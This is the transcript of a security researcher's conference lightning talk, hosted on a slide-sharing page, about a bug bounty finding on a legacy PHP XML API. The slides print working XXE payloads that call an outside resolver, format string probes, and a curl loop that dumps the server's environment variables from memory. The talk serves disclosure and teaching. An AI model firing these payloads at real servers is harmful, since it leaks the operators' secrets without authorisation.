Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web based format injection, dumping memory like...

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest. →
Avatar for Frans Rosén Frans Rosén
September 19, 2018
Research
210
0

Web based format injection, dumping memory like it's 99 (or "Please help")

My lightning talk from Sec-T Stockholm in September 2018.

Avatar for Frans Rosén

Frans Rosén

September 19, 2018

More Decks by Frans Rosén

See All by Frans Rosén
X-Correlation Injections (or How to break server-side contexts)
Avatar for Frans Rosén fransrosen
0
2k
Story of a RCE on Apple through hot jar swapping
Avatar for Frans Rosén fransrosen
0
1.3k
Account hijacking using "dirty dancing" in sign-in OAuth-flows
Avatar for Frans Rosén fransrosen
0
410
A methodology using fuzzing and info disclosure
Avatar for Frans Rosén fransrosen
0
480
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Avatar for Frans Rosén fransrosen
3
9.7k
A story of the passive aggressive sysadmin of AEM
Avatar for Frans Rosén fransrosen
0
8.7k
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Avatar for Frans Rosén fransrosen
3
7.8k

Other Decks in Research

See All in Research
[Devfest Incheon 2025] 모두를 위한 친절한 언어모델(LLM) 학습 가이드
Avatar for Beomi beomi
2
1.5k
ブレグマン距離最小化に基づくリース表現量推定： バイアス除去学習の統一理論
Avatar for MasaKat0 masakat0
0
230
非試合日の野球場を楽しむためのARホームランボールキャッチ体験システムの開発 / EC79-miyazaki
Avatar for yumulab yumulab
0
140
NII S. Koyama's Lab Research Overview AY2026
Avatar for NII S. Koyama's Lab skoyamalab
0
160
2026 東京科学大 情報通信系 研究室紹介 (大岡山)
Avatar for Tokyo Tech ICT Dept. icttitech
0
2.2k
FUSE-RSVLM: Feature Fusion Vision-Language Model for Remote Sensing
Avatar for SatAI.challenge satai
3
490
製造業主導型経済からサービス経済化における中間層形成メカニズムのパラダイムシフト
Avatar for Masatake Yamoto yamotty
0
560
ペットのかわいい瞬間を撮影する オートシャッターAIアプリへの スマートラベリングの適用
Avatar for Convergence Lab. mssmkmr
0
460
世界モデルにおける分布外データ対応の方法論
Avatar for Hidehisa Arai koukyo1994
7
2.1k
Dwangoでの漫画データ活用〜漫画理解と動画作成〜@コミック工学シンポジウム2025
Avatar for kzmssk kzmssk
0
220
[SITA2025 Workshop] 空中計算による高速・低遅延な分散回帰分析
Avatar for Koya SATO k_sato
0
140
Any-Optical-Model: A Universal Foundation Model for Optical Remote Sensing
Avatar for SatAI.challenge satai
3
470

Featured

See All Featured
Become a Pro
Avatar for Speaker Deck speakerdeck
PRO
31
5.9k
Into the Great Unknown - MozCon
Avatar for Noah Learner thekraken
40
2.4k
[SF Ruby Conf 2025] Rails X
Avatar for Vladimir Dementyev palkan
2
960
Pawsitive SEO: Lessons from My Dog (and Many Mistakes) on Thriving as a Consultant in the Age of AI
Avatar for David Carrasco davidcarrasco
0
110
Building Flexible Design Systems
Avatar for Yesenia Perez-Cruz yeseniaperezcruz
330
40k
The SEO Collaboration Effect
Avatar for Kristina Bergwall kristinabergwall1
0
420
CSS Pre-Processors: Stylus, Less & Sass
Avatar for Bermon Painter bermonpainter
360
30k
The Curse of the Amulet
Avatar for Matthew Lei leimatthew05
1
11k
So, you think you're a good person
Avatar for Per Axbom axbom
PRO
2
2k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
Avatar for Sam Stephenson sstephenson
162
16k
Color Theory Basics | Prateek | Gurzu
Avatar for Gurzu gurzu
0
290
Writing Fast Ruby
Avatar for Erik Berlin sferik
630
63k

Transcript

  1. @fransrosen Web based format injection, dumping memory like it's 99

    or "Please help"

  2. @fransrosen Public Bug Bounty

  3. @fransrosen RCE is 30,000 USD

  4. @fransrosen Methodology • Found a domain not like the other

    ones

  5. @fransrosen Methodology • Found a domain not like the other

    ones • Legacy on-premise PHP-app acquired by a huge tech organization

  6. @fransrosen Methodology • Found a domain not like the other

    ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available

  7. @fransrosen Methodology • Found a domain not like the other

    ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available 👍 👍 👍

  8. @fransrosen Methodology • Google + GitHub etc

  9. @fransrosen Methodology • Google + GitHub etc

  10. @fransrosen Methodology • Google + GitHub etc

  11. @fransrosen Methodology • Google + GitHub etc

  12. @fransrosen Methodology • Google + GitHub etc • wfuzz!

  13. @fransrosen Methodology • Google + GitHub etc • wfuzz! Interesting

    path: /cgi-bin/default/

  14. @fransrosen Methodology • Google + GitHub etc • wfuzz! python

    wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \
 -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/FUZZ

  15. @fransrosen Methodology • Google + GitHub etc • wfuzz!

  16. @fransrosen Methodology • Google + GitHub etc • wfuzz! /cgi-bin/default/php/

  17. @fransrosen Methodology • Google + GitHub etc • wfuzz! python

    wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \
 -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/php/FUZZ

  18. @fransrosen Methodology • Google + GitHub etc • wfuzz!

  19. @fransrosen xml_api?

  20. @fransrosen xml_api?

  21. @fransrosen xml_api? YEAH! 👍

  22. @fransrosen wtf!?

  23. @fransrosen XXE!

  24. @fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">

  25. @fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">

  26. @fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  27. @fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  28. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>

    <Envelope><Body><exec><transaction>&exl;</transaction>
 </exec></Body></Envelope>

  29. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>

    <Envelope><Body><exec><transaction>&exl;</transaction>
 </exec></Body></Envelope>

  30. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;

    ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  31. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;

    ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  32. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;

    ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> ???

  33. @fransrosen

  34. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>

    <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  35. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>

    <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  36. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>

    <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  37. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>

    <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  38. @fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>

    <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> WOAH.

  39. @fransrosen Format String Injection?

  40. @fransrosen Format String Injection ON ZE WEB?

  41. @fransrosen Format String Injection http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

  42. @fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM

    "%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  43. @fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM

    "%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  44. @fransrosen I can’t handle this shit

  45. @fransrosen Help me, zetatwo

  46. @fransrosen Help me, zetatwo

  47. @fransrosen Help me, zetatwo

  48. @fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY

    exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  49. @fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY

    exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>

  50. @fransrosen Limitations 0x20-0xFF (no 0x22)

  51. @fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff

  52. @fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff

  53. @fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff

  54. @fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff

  55. @fransrosen We can read all ENVs for i in $(seq

    8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]>
 <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'

  56. @fransrosen We can read all ENVs for i in $(seq

    8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]>
 <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'

  57. @fransrosen Response "We are unable to see anything sensitive in

    the response. If you believe you have found sensitive information please provide this to us."

  58. @fransrosen Response "We are unable to see anything sensitive in

    the response. If you believe you have found sensitive information please provide this to us."

  59. @fransrosen Response "We are unable to see anything sensitive in

    the response. If you believe you have found sensitive information please provide this to us."

  60. @fransrosen Want to collaborate? @fransrosen

  61. @fransrosen Questions? Suggestions?